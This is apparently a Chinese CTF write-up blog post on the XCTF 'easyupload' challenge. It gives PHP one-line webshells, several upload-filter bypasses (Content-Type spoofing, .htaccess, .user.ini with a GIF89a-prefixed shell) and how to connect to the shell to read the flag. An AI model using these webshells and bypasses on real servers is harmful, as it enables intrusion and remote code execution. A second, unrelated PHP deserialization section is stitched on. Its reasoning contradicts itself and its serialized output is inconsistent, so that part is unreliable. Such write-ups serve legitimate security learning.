攻防世界easyupload (web新手)

XCTF - easyupload


典型的文件上传,本题涉及知识点

  • 文件上传漏洞
  • .user.ini绕过

其实这个题目是文件上传漏洞中相对来说不是很常见的题目,说实话也是涉及了我的知识盲区,在此之前我对文件上传漏洞有一些总结如下,都尝试过后发现没有能用的。

文件上传漏洞前期总结

<?php eval($_POST['cmd']);?>
<?= eval($_POST[1]);?>
<script language="php">eval($_POST[1]);</script>

1. JavaScript 防御

检测发生在浏览器端(本地检测)

  1. 禁止JS
  2. 先改名后抓包最后改名改包
  3. 右键 复制图片地址
  4. 猜到链接

点击上传之后马上弹窗,

右键查看源码

  1. .jpg .png .jif 允许
  2. Php

2. Content-Type: text/php 进行检测非图片即禁止

  1. 抓包–上传
  2. 修改Content-Type,改为 image/jpeg

3. 上传名称后缀为.phtml .phps .php5 .pht

4. Apache .htaccess

  1. 创建 .htaccess
  2. 写入解析规则
  3. SetHandler application/x-httpd-php //所有文件都当作php执行
  4. AddType application/x-httpd-php .jpg //将.jpg文件当作php文件解析
  5. <FilesMatch “1.jpg”> SetHandler application/x-httpd-php //将包含1.jpg文件名
    的文件解析为php

5. windows空格绕过

- Windows系统不允许最后一个字符是空格之类的特殊符号
- 如果上传文件的最后一个字符是空格,会自动去掉

6. ::$DATA绕过

php+windows的情况下:如果文件名+“::$DATA”

  • 把::$DATA之后的数据当成文件流处理,不会检测后缀名
  • 保持"::$DATA"之前的文件名

7. 双写绕过 (phpphp)

.user.ini绕过

.user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。


注意:.user.ini在mac下是直接不显示的,所以这里我们直接创建一个1.user.ini,然后进行抓包改包即可。

上传过程中发现,被过滤了,肯定是文件的内容被检测到不是图片,我们将Content-Type修改为图片格式尝试一下:

修改Content-Type后,发现上传成功,接下来直接上传shell.jpg即可。直接创建一个一句话木马的txt。修改后缀为.jpg,

<?=eval($_POST['cmd']);?>


上传后发现依然被检测,仔细一看,文件头和content type对不起来,添加文件头尝试:

GIF89a
<?=eval($_REQUEST['cmd']);?>

在这里用其他版本的一句话容易被检测,测试了好几次发现这个比较好用,此时我们需要用到另一个知识点:.user.inishell.jpg同一目录下的所有php文件都会包含shell.jpg文件。这样就很好办了,我们看看uploads文件夹下是否有php文件,再次上传一个正常图片后,发现跳转网页中有/uploads/index.php

运用仪剑进行连接

此时一定要注意,连接的地址为xxx/uploads/index.php

在根目录下发现flag。


其实在这里我们就比较好理解了,我们首先上传.user.ini的目的是本目录下所制定的文件被php文件所包含,其实相当于三个文件必须同时存在才会满足这个条件。

这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值